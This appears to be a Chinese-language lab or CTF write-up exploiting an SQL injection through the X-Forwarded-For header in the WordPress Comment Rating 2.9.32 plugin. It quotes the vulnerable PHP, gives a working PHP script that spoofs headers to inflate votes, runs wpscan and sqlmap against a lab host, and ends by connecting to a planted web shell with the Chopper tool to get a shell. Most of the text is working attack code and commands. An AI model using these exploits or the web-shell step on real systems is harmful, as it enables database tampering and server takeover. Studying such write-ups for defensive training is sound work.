wordpress中的comment-rating2.9.32插件中的ck-processkarma.php文件存在HTTP_X_FORWARDED_FOR header inject Vulnerability
wpscan -u "http://219.153.49.228:48606/" --enumerate vp
[+] Name: comment-rating - v2.9.32
| Location: http://219.153.49.228:48606/wp-content/plugins/comment-rating/
| Readme: http://219.153.49.228:48606/wp-content/plugins/comment-rating/readme.txt
[!] Directory listing is enabled: http://219.153.49.228:48606/wp-content/plugins/comment-rating/
[!] Title: Comment Rating 2.9.32 - Security Bypass Weakness & SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/6428
Reference: http://packetstormsecurity.com/files/120569/
Reference: https://secunia.com/advisories/52348/
Reference: https://www.exploit-db.com/exploits/24552/
Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php
First take the IP from HTTP_X_FORWARDED_FOR header.
-----------------------------------------------------------------------
48 $ip = getenv("HTTP_X_FORWARDED_FOR") ? getenv("HTTP_X_FORWARDED_FOR") : getenv("REMOTE_ADDR");
49 if(strstr($row['ck_ips'], $ip)) {
50 // die('error|You have already voted on this item!');
51 // Just don't count duplicated votes
52 $duplicated = 1;
53 $ck_ips = $row['ck_ips'];
54 }
Later made a UPDATE without filter the input.
------------------------------------------------------------------------
77 $query = "UPDATE `$table_name` SET ck_rating_$direction = '$rating', ck_ips = '" . $ck_ips . "' WHERE ck_comment_id = $k_id";
So let's take a look in the DB
mysql> select * from wp_comment_rating;
+---------------+----------------+--------------+----------------+
| ck_comment_id | ck_ips | ck_rating_up | ck_rating_down |
+---------------+----------------+--------------+----------------+
| 2 | ,20.209.10.130 | 1 | 0 |
| 3 | | 0 | 0 |
+---------------+----------------+--------------+----------------+
2 rows in set (0.00 sec)
<?PHP
define('HOST','http://localhost/wordpress/');
define('IDCOMMENT',2);
$url=parse_url(HOST);
define('URL',$url['path'].'wp-content/plugins/comment-rating/ck-processkarma.php?id='.IDCOMMENT.'&action=add&path=a&imgIndex=1_14_');
for($i=0;$i<1;$i++) lvlup();
function lvlup(){
global $url;
$header = "GET ".URL." HTTP/1.1 \r\n";
$header.= "Host: ".$url['host']."\r\n";
$header.= "Accept-Encoding: gzip, deflate \r\n";
$header.= "X-Forwarded-For: ".long2ip(rand(0, "4294967295"))."\r\n";
$header.= "Connection: close \r\n\r\n";
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket,$url['host'], 80);
socket_write($socket, $header);
socket_close($socket);
}
?>
sqlmap "http://219.153.49.228:40602/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&action=add&path=a&imgIndex=1_14_" -f
7,菜刀连接木马即可获取shell.